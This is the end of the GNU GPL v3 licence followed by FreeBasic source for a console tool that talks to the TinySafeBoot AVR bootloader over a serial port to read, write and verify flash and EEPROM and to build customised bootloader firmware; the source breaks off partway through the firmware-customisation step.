prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper mail.

  If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:

    <program>  Copyright (C) <year>  <name of author>
    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".

  You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.

  The GNU General Public License does not permit incorporating your program
into proprietary programs.  If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.  But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
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'-----------------------------------------------------------------------
'-----------------------------------------------------------------------
'-----------------------------------------------------------------------
' CONSOLE TOOL FOR TINYSAFEBOOT
' ... the tiny and safe bootloader for AVR-ATtinys
'-----------------------------------------------------------------------
'-----------------------------------------------------------------------
'-----------------------------------------------------------------------
' Written in 2011-2014 by Julien Thomas <joytec@gmx.de>
'
' This program is free software; you can redistribute it and/or
' modify it under the terms of the GNU General Public License
' as published by the Free Software Foundation; either version 3
' of the License, or (at your option) any later version.
' This program is distributed in the hope that it will be useful,
' but WITHOUT ANY WARRANTY; without even the implied warranty
' of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
' See the GNU General Public License for more details.
' You should have received a copy of the GNU General Public License
' along with this program; if not, see <http://www.gnu.org/licenses/>.
'
' ----------------------------------------------------------------------
'
' To be compiled with FreeBasic 0.24 up
'
'-----------------------------------------------------------------------
' VARIABLE AND CONSTANTS DEFINITIONS
'-----------------------------------------------------------------------
'
#lang "fb"


' Working variables

dim shared Filename as string

dim astr as string
dim bstr as string
dim cstr as string

dim a as ubyte
dim b as ubyte
dim i as ushort
dim j as ushort
dim k as ushort
dim z as UInteger

' COM-Port related
const Comset = ",N,8,1,CS,DS,RB0,TB0,BIN"
dim shared Comport              as string
dim shared OneWireLocalEcho     as Ubyte    : OneWireLocalEcho = 0

' Global variables
dim shared TSBIDENT     as string
dim shared TSBBUILD     as uinteger
dim shared TSBSTATUS    as ubyte
dim shared SIG000       as ubyte
dim shared SIG001       as ubyte
dim shared SIG002       as ubyte
dim shared PAGESIZE     as ubyte
dim shared FLASHSIZE    as ushort
dim shared APPFLASH     as ushort
dim shared EEPROMSIZE   as ushort
dim shared JMPMODE      as ubyte = 0
dim shared TINYMEGA     as ubyte = 0
dim shared APPJUMP      as ushort
dim shared TIMEOUT      as ubyte
dim shared PASSWORD     as string

dim shared AAAA         as UInteger = 0
dim shared ADDR         as UInteger = 0

dim RXTXPB (3,1)        as Ubyte       ' opcodes conversion array
dim shared DEVPORTS(6)  as Ubyte


const maxarray as UInteger = 65536
dim shared BINARRAY(maxarray) as ubyte  : Clear BINARRAY(0), 255, maxarray

dim shared LASTPAGE(255) as ubyte       : Clear LASTPAGE(0), 255, 255

const REQUEST as string = "?"
const CONFIRM as string = "!"

'-----------------------------------------------------------------------
' SUBS AND FUNCTIONS
'-----------------------------------------------------------------------

function CheckChecksum (ByRef ihline as string) as ubyte
dim I as ubyte
dim C as ubyte
    if ihline = "" then return (255)
        for I = 2 To (len (ihline)) Step 2
        C = C + Val ("&h"+ (mid$(ihline,i,2)))
    next I
C = 0 - C   ' equal to +1 and 2's complement (type is ubyte)
'with checksum also added, this should be 0 if record line was o.k.
return (C)
end function

sub SendCommand (ByRef astr as string)
    dim a as ushort
    dim t as ushort
    dim bstr as string
    if len(astr) = 0 then exit sub
    print #8, astr;             ' send commando/data string

    if OneWireLocalEcho then        ' strip off local echo
        a = 0
        do until a = len(astr)
            t = Timer + 1
            do until (LOC(8)) Or (Timer > t) : loop
            bstr = input$(1, #8)
            a = a + 1
        loop
    endif
end sub

function RXBuffer () as string
    dim a as ushort
    dim t as UInteger
    dim astr as string
    dim bstr as string

    t = Timer + 3
    do until LOC(8) Or (Timer > t) : loop
    if LOC(8) = 0 then return ("")
    bstr = ""
    t = Timer + 3
    do until Eof(8) Or (Timer > t)
        a = LOC(8) : sleep 100 : a = LOC(8) - a
            if a = 0 then
            astr = input$(LOC(8), #8)
            else    astr = input$(1, #8)
            endif
        bstr = bstr + astr
    loop

    return (bstr)

end function

function GetUserData () as ubyte

'load userdata from LASTPAGE into an array named LASTPAGE()

dim i as ubyte
dim bstr as string

SendCommand ("c")
bstr = RXBuffer
if len(bstr) < PAGESIZE+1       then return (255) ' page read error
if right$(bstr,1) <> CONFIRM    then return (255) ' block not terminated

clear LASTPAGE(0), 255, 255
for i = 0 To PAGESIZE-1 : LASTPAGE (i) = asc(mid$(bstr,i+1,1)) : next i

APPJUMP = (LASTPAGE(0) + LASTPAGE(1)*256) ' low/high byte in memory

if TINYMEGA = 1 then APPJUMP = 0000       ' ATmegas APPJUMP not relevant

TIMEOUT = LASTPAGE(2)   ' load timeout byte from LASTPAGE

i = 3 : PASSWORD = ""

do until (i = PAGESIZE) or (LASTPAGE(i) = 255)
        PASSWORD = PASSWORD + chr$(LASTPAGE(i))
        i = i + 1
loop

return (0)

end function

function VerifyUserData () as ubyte

dim i as ubyte
dim bstr as string
SendCommand ("c")           ' read LASTPAGE again
bstr = RXBuffer
if len(bstr) < 16       then return (255)       ' data page not correctly read
if right$(bstr,1) <> CONFIRM then return (255)  ' data block not terminated

for i = 0 To Len(bstr)-1
    if LASTPAGE (i) <> asc(mid$(bstr, i+1, 1)) then Exit for
next i

if i < (Len(bstr)-1) then return (255)  ' differences detected

return (0)              ' all data identical to LASTPAGE

end function

function Word2Date (Byref InWord as ushort) as UInteger
Word2Date =     ( InWord and 31 ) + _
        ((InWord and 480) \ 32) * 100 + _
        ((Inword and 65024 ) \ 512) * 10000 _
        + 20000000
end function

function ActivateTSB (ByRef Comport as string) as ubyte

dim bstr as string

if open COM (Comport + Comset for binary as #8) > 0 then return (Err)
sleep 100

print #8, "@@@";        ' first try without password
                        ' in case of no reaction, password may be entered
bstr = RXBuffer

if left$(bstr,3) = "@@@" then
        OneWireLocalEcho = 1                ' one-wire echo detected
        bstr = right$(bstr, (len(bstr)-3))  ' detach echoed characters
        print
        print "One-Wire interface detected."
endif

if bstr = "" then

    line input "Password : ", PASSWORD
    SendCommand (PASSWORD)              ' submit password

    bstr = RXBuffer

    if bstr <> "" then
    print : print "Password ... OK" : print
    else return (255)
    endif

endif

' analyze tsb's reply to gain device data (permanent data string)

if right$(bstr,1)        <> CONFIRM     then return (255)      ' no good
if LCase$(left$(bstr,3)) <> "tsb"       then return (255)      ' no good

dim BUILDWORD as ushort

TSBIDENT        = left$(bstr,3)
BUILDWORD       = asc(mid$(bstr,4,1)) + asc(mid$(bstr,5,1)) * 256
TSBSTATUS       = asc(mid$(bstr,6,1))
SIG000          = asc(mid$(bstr,7,1))
SIG001          = asc(mid$(bstr,8,1))
SIG002          = asc(mid$(bstr,9,1))
PAGESIZE        = (asc(mid$(bstr,10,1))) * 2            ' WORDS * 2 = BYTES
APPFLASH        = (asc(mid$(bstr,11,1)) + asc(mid$(bstr,12,1))*256) * 2 ' WORDS * 2 = BYTES
FLASHSIZE       = ((APPFLASH \ 1024) + 1) * 1024        ' round up to next higher multiple of 1024
EEPROMSIZE      = (asc(mid$(bstr,13,1)) + asc(mid$(bstr,14,1))*256) + 1 ' always BYTES

' NOTE: While AVR/Assembler is accounting in WORDS, except from EEPROM,
'       on the PC-side we are using BYTES for memory allocation
'
'
' Check for regular PAGESIZEs
if      (PAGESIZE<>16) and _    ' smallest PAGESIZE = 8 (WORDS)
        (PAGESIZE<>32) and _
        (PAGESIZE<>64) and _
        (PAGESIZE<>128) _       ' maximum PAGESIZE = 64 (WORDS)
        then
        print "PAGESIZE NOT VALID - ABORT."
        return (255)
endif

' consider TSB firmware with new date identifier and status byte
if BUILDWORD < 32768 then
    TSBBUILD = Word2Date (BUILDWORD)
else    'old date encoding in tsb-fw (three bytes)
    TSBBUILD = BUILDWORD + 65536 + 20000000
endif

' detect whether device is ATtiny or ATmega from identifier
' in last byte of device info block
' while decision for jmp/rjmp depends on memory size
select case asc(mid$(bstr,15,1))
case &h00 : JMPMODE = 0 : TINYMEGA = 0
case &h0C : JMPMODE = 1 : TINYMEGA = 0
case &hAA : JMPMODE = 0 : TINYMEGA = 1
end select

print

return GetUserData()        ' 0 = OK / <> 0 = ERROR

end function

sub DeactivateTSB ()
print #8, "q";
close #8
end sub

function LoadBinToArray () as ubyte

clear BINARRAY(0), 255, maxarray

dim ff as ubyte = Freefile
dim ihline as string
dim LL as ubyte
dim i as ubyte
dim as uinteger Max_AAAA = 0

' Load binary file

        AAAA = 0
        if open (Filename for Binary as ff) <> 0 then
            print "File not found!" : return (Err)
        endif

        if lof(ff) = 0 then return (1)
        do while AAAA < lof (ff)
            BINARRAY(AAAA) = asc(input$(1,ff))
        AAAA = AAAA + 1
        loop

        if AAAA <> lof(ff) then return (1) ' load error

close ff

' if function leaves here, the binary data from file has been loaded
' into BINARRAY() and AAAA is the number of bytes loaded.

return (0)

end function

function LoadHexToArray () as ubyte

clear BINARRAY(0), 255, maxarray

dim ff as ubyte = Freefile
dim ihline as string
dim LL as ubyte
dim i as ubyte
dim as uinteger Max_AAAA = 0

' Try to load ihex encoded file by default.
' Return values:
' 0 = success
' 1 = file not found
' 2 = no valid ihex
' 3 = checksum error

' Load ihex file

    if open (Filename for input as #ff) <> 0 then close ff: return (1)

        While not eof(ff)

        line input #ff, ihline       ' fetch whole lines (CR/LF-terminated)

        if left$(ihline,1) <> ":" then close ff : return (2) ' no valid ihex

        ihline = UCase$(ihline)

        if CheckChecksum (ihline) then close ff : return (3) ' checksum error

            if mid$(ihline, 8,2) = "00" then
                LL =   Val("&h"+mid$(ihline,2,2))
                AAAA = Val("&h"+mid$(ihline,4,4))

                for i = 1 To LL

                    BINARRAY(AAAA) = val("&h" + mid$( ihline, 8 + i*2 , 2 ) )

                                        if AAAA > Max_AAAA then Max_AAAA=AAAA: endif

                    AAAA = AAAA+1

                next i

            endif

        Wend

        AAAA = Max_AAAA ' set AAAA to max address of any hexfile content loaded

        AAAA = AAAA+1   ' set return value of AAAA to AAAA+1 ( = number of bytes)

close ff

' if function leaves here, contents of the hex file have been successfully
' loaded into BINARRAY() with AAAA as the exact number of bytes thereof.

return (0)

end function

function LoadToArray () as ubyte

select  case LoadHexToArray()
        case 1 : print : print "File not found." : return (1)
        case 2 : if LoadBinToArray () <> 0 then return(1)
        case 3 : print : print "Checksum error in Hex record." : return (1)
end select

return (0)

end function

function SaveFromArray () as ubyte

if AAAA = 0 then return (1)

ADDR = 0

dim ff as ubyte = Freefile
dim i as ubyte
dim C as ubyte
dim astr as string
const CRLF as string = Chr$(13) + Chr$(10) ' all lines CRLF terminated


if lcase$(right$(Filename,4)) = ".hex" _
or lcase$(right$(Filename,4)) = ".eep" then

' Save iHEX encoded file

    if open (Filename for Output as #ff) <> 0 then return (Err)

    print #ff, ":020000020000FC"; CRLF;     ' same 1st line in 16-bit IHex

    do until ADDR >= AAAA
    astr = ":10" + WHex (ADDR, 4) + "00"
        for i = 1 To 16
            astr = astr + WHex(BINARRAY(ADDR),2)
            ADDR = ADDR + 1
        next i
    C = 0
        for i = 2 To (Len (astr)) Step 2
            C = C + Val ("&h"+ (mid$(astr,i,2)))
        next I

    C = 0 - C

    astr = astr + WHex(C,2)
    print #ff, astr; CRLF;
    loop
    astr = ":00000001FF" :  print #ff, astr; CRLF;   ' send last line

    else

' Save binary file

        ADDR = 0
        if open (Filename for Output as #ff) <> 0 then return (Err)
        do until (ADDR = AAAA)
        print #ff, Chr$(BINARRAY(ADDR));
        ADDR = ADDR + 1
        loop

endif

close ff

return (Err)

end function

function Check4SPM() as ubyte
dim CheckADDR as ushort = 0
do until CheckADDR >= AAAA
    if BINARRAY(CheckADDR)=&hE8 And BINARRAY(CheckADDR+1)=&h95 then Exit do : endif
    CheckADDR = CheckADDR + 2
loop
  if CheckADDR\2 < AAAA\2 then return (255) else return (0)
end function

function CurrentDateBlock () as string
' this function is currently not needed
dim bstr as string * 8
    bstr = right$(Date$, 4)
    bstr = bstr + left$(Date$,2)
    bstr = bstr + mid$(Date$,4, 2)
return bstr
end function

function FWnumber () as string

dim fstr as string * 8
dim taddr as ushort
dim BUILDWORD as ushort

taddr = AAAA - 256      ' start search well below last page
fstr = ""

do  ' find TSB's device info block
taddr = taddr + 1
fstr = chr$(BINARRAY(taddr)) + chr$(BINARRAY(taddr+1)) + chr$(BINARRAY(taddr+2))
loop until (fstr = "tsb") or (fstr = "TSB") or (taddr = AAAA)

if taddr = AAAA then return ("")
BUILDWORD = (BINARRAY(taddr+3) + BINARRAY(taddr+4)*256)
if BUILDWORD < 32768 then
    fstr = str$( Word2Date(BUILDWORD) )
else
    fstr = str$( BINARRAY(taddr+3) + BINARRAY(taddr+4) * 256 + 65536 + 20000000)
endif
return fstr

end function

function SendLASTPAGE () as ubyte

dim i as ubyte
dim astr as string
dim bstr as string

SendCommand ("C")               ' command Change for TSB

if RXBuffer <> REQUEST then return (255)    ' would be error

    for i = 0 To PAGESIZE-1
        Astr = Astr + Chr$(LASTPAGE(i))
    next i

SendCommand (CONFIRM + Astr)

if RXBuffer = CONFIRM then return (255)     ' would be error

return (0)

end function

function DatasToArray (byref devname as string) as ubyte

Clear BINARRAY(0), 255, maxarray

dim ihline as string
dim LL as ubyte
dim i as ubyte
dim max_AAAA as UInteger : max_AAAA = 0

devname = lcase$(devname)

restore
' search for beginning of tsb-templates / tt-datas
' (included and compiled into this program)
do
read ihline
loop until lcase$(ihline) = "begin tt" or ihline = ""

if ihline ="" then return (1)   ' serious problem: no tt-datas found!

' o.k. datas found, now parse for the desired attiny
do
read ihline
loop until (ihline = devname) or lcase$(ihline) = "end tt"

if ihline = "end tt" then return (1)    ' did not find that stuff

    do
        read ihline     'fetch hex record from datas
        if CheckChecksum (ihline) then return (1)
        if mid$(ihline, 8,2) = "00" then
            LL =   Val("&h"+mid$(ihline,2,2))
            AAAA = Val("&h"+mid$(ihline,4,4))
            for i = 1 to LL
                BINARRAY(AAAA) = Val("&h"+mid$(ihline, 8+i*2,2))
                if AAAA > max_AAAA then max_AAAA=AAAA
                AAAA = AAAA+1
            next i
        endif
    loop until ucase$(ihline) = ":00000001FF"   'ihex end marker
    AAAA = Max_AAAA+1  'set AAAA to max address of hexfile contents + 1

return (0)

end function

function DatasToPortMatrix (byref devname as string) as Ubyte

dim astr as string
dim a as Ubyte
dim i as Ubyte

devname = lcase$(devname)

' search datas of port definitions
restore
do
read astr
loop until lcase$(astr) = "begin devices" or astr = ""
if astr ="" then return (1)

' o.k. found them, now parse the desired ATtiny
do
read astr
astr = lcase$(astr)
loop until (astr = devname) or lcase$(astr) = "end devices"
if astr ="end devices" then return (1)     ' no match found

' device found, now skip the 3 signature bytes
read a, a, a

' load and convert port assignments
for i = 0 to 6
        read DEVPORTS(i)
        if DEVPORTS(i) < &hFF then DEVPORTS(i) = DEVPORTS(i) * 8
next i

return (0)

end function

function SignatureToDevicename (byref S0 as Ubyte, S1 as Ubyte, S2 as Ubyte) as String

dim astr        as string
dim a           as ubyte
dim devname     as string
dim i           as ubyte
dim as ubyte    Sig0, Sig1, Sig2

' find signature-to-devicename mapping for given signature

restore
do
        read astr
loop    until lcase$(astr) = "begin devices" or astr = ""

if astr ="" then return ("DATABASE ERROR")

' o.k. found them, now parse for given signature

do
    read devname                ' read Device Name
    read Sig0, Sig1, Sig2       ' read Device Signature
    read a,a,a,a,a,a,a          ' dummy read further port data
    a = 0
    if (S0 = Sig0) and (S1 = Sig1) and (S2 = Sig2) then a = 1

loop until (a=1) or lcase$(devname) = "end devices"

if devname ="end devices" then return ("UNKNOWN DEVICE")     ' no match found

if left$(devname,2) = "tn" then devname = trim (devname, "tn")   : devname = "ATtiny" + devname
if left$(devname,1) = "m"  then devname = trim (devname, "m")    : devname = "ATmega" + devname
if right$(devname,1)= "A"  then devname = left$(devname, len(devname)-1)

return (devname)

end function

sub ShowDeviceInfo ()
        print "TINY SAFE BOOTLOADER"
        print "VERSION   : "; TSBBUILD
        print "STATUS    : "; WHex(TSBStatus)
        print "SIGNATURE : "; WHex(SIG000,2);" "; WHex(SIG001,2);" "; WHex(SIG002,2)
        print "DEVICE    : "; SignatureToDevicename(SIG000, SIG001, SIG002)
        print "FLASH     : "; FLASHSIZE
        print "APPFLASH  : "; APPFLASH
        print "PAGESIZE  : "; PAGESIZE
        print "EEPROM    : "; EEPROMSIZE
        print "APPJUMP   : "; WHex(APPJUMP,4)
        print "TIMEOUT   : "; TIMEOUT
        print
end sub

sub TSBChecksum()
' Parse loaded and customized TSB-Firmware/Installer in BINARRAY():
'
' (1) Found TSB-Installer = calculate checksum beginning from 2nd page
'     and store in the last 2 bytes prior to TSB-Firmware-segment
' (2) Found TSB- or other firmware =
'     do not change anything

dim i as ushort
dim j as ushort

dim FWChecksum as ushort = &h0000

i = 3   ' skip possible RJMP/JMP in 1st page (TSB-Installer)

do : i = i + 1 : loop until (BINARRAY(i)) < 255 or (i > 256)

if i < 8 then return    ' apparently no TSB-Installer
if i > 256 then return  ' possibly TSB-Firmware, no checksum 2b calc'd

j = i + 2
i = i + 4

BINARRAY(j+0) = 0
BINARRAY(j+1) = 0

BINARRAY(AAAA) = 255

do
    FWChecksum = FWChecksum + BINARRAY(i)
    i = i + 1
loop    until i = AAAA

BINARRAY(j+0) = FWChecksum \ 256
BINARRAY(j+1) = FWChecksum - (FWChecksum \ 256) * 256

'? Whex (FWCHECKSUM)

end sub

'-----------------------------------------------------------------------
'-----------------------------------------------------------------------
'-----------------------------------------------------------------------


'-----------------------------------------------------------------------
' MAIN PROGRAM - PARSE COMMANDLINE
'-----------------------------------------------------------------------

Mainprogram:

if command$(1) = ""     then goto HelpScreen
if __FB_ARGC__ < 2      then goto HelpScreen
astr = lcase$(trim (command$(1), any "-/"))
if astr = "l"   then goto Licensenote
if astr = "h"   or astr = "?" then goto HelpScreen

' 1st argument may be either some COM-Port or AVR-Devicename

astr = lcase$(command$(1))

If      left$(astr,3) <> "com"  and _
        left$(astr,4) <> "/dev" and _
        left$(astr,4) <> "/tty" then goto MakeMode ' make bootloader

Comport = command$(1)         ' user wants to talk to the bootloader

i = 0
Comport = trim (Comport, ":")
do : i = i + 1 : loop until (i = len(Comport)) or (mid$(Comport,i,1) = ":")
if i = (len(Comport)) then Comport = Comport + ":9600"

astr = UCase$(command$(2))          ' check mode switch
astr = trim (astr, any "-/")

If astr = "" then goto ShowInfo
If astr = "?" then goto HelpScreen
If astr = "I" then goto ShowInfo
If astr = "P" then goto PasswordChange
If astr = "T" then goto TimeoutChange
If astr = "EE" then goto EEPROMerase
If astr = "FE" then goto FLASHerase
If astr = "XXX" then goto EmergencyErase

Filename = (command$(3))            ' get filename

If Filename = "" then goto GError

If astr = "FR" then goto FLASHread
If astr = "FW" then goto FLASHwrite
If astr = "FV" then goto FLASHverify

If astr = "ER" then goto EEPROMread
If astr = "EW" then goto EEPROMwrite
if astr = "EV" then goto EEPROMverify

goto GError

'-----------------------------------------------------------------------
' END COMMANDLINE PARSER
'-----------------------------------------------------------------------
'
'
'
'
'-----------------------------------------------------------------------
' MAKE CUSTOMIZED TSB FIRMWARE FLASH FILE FROM FIRMWARE TEMPLATE
'-----------------------------------------------------------------------
' Search internal database for template, make TSB with customized ports.

MakeMode:

AAAA = 0
ADDR = 0
astr = lcase$(astr)

Filename = astr

print
'
' STEP 1:
' First we search the Database for the pre-assembled code template
' of the respective device that matches the given Filename.
'
if DatasToArray (Filename) then
    print "Sorry, this Device is not in the database yet." : print
    goto GError
endif
'
' STEP 2:
' If Template has been successfully loaded, we get the port definitions
' (ports existing, ports i/o) for that device.
'
if DatasToPortMatrix (Filename) then
    print "Matrix error." : print
    goto GError
endif

if AAAA < 250             then goto GError  ' binary way too short
if Len (command$(2)) <> 4 then goto GError  ' port definitions seem ok

' Filename for saving customized tsb
if command$(3) = "" then                ' if no filename specified, save in hex anyway
        Filename = "tsb_" + astr + "_" + _
        lcase$(command$(2)) + "_" +  FWnumber$() + ".hex"
        else Filename = command$(3)     ' otherwise try using filename from commandline
endif
'
' STEP 3:
' Prepare working array of RX/TX addresses
' for the ports of chosen device.
'
astr = UCase$(command$(2))
'valid port name ranges from "A" to "G"
a = asc(mid$(astr,1,1)) : if a < 65 or a > 71 then goto GError
a = a - 65                                      ' result can be 0,1,2,3
'valid port bits range from "0" to "7"
b = val (mid$(astr,2,1))
if b > 7 then              print "Portbit must range from 0 to 7." : goto GError
if DEVPORTS(a) = &hFF then print "Invalid port assignment." : goto GError

RXTXPB(0,0) = DEVPORTS (a) + 0  + b          ' PINx
RXTXPB(1,0) = DEVPORTS (a) + 8  + b          ' DDRx
RXTXPB(2,0) = DEVPORTS (a) + 16 + b          ' PORTx

'ensure that port name ranges from "A" to "G"
a = asc(mid$(astr,3,1)) : if a < 65 or a > 71 then goto GError
a = a - 65
'ensure that port bit  ranges from "0" to "7"
b = val (mid$(astr,4,1))
if b > 7 then              print "Portbit must range from 0 to 7." : goto GError
if DEVPORTS(a) = &hFF then print "Invalid port assignment." : goto GError

RXTXPB(0,1) = DEVPORTS (a) + 0  + b          ' PINx
RXTXPB(1,1) = DEVPORTS (a) + 8  + b          ' DDRx
RXTXPB(2,1) = DEVPORTS (a) + 16 + b          ' PORTx

'for i = 0 to 2 : ? whex(RXTXPB(i,0),2), whex(RXTXPB(i,1),2): next i

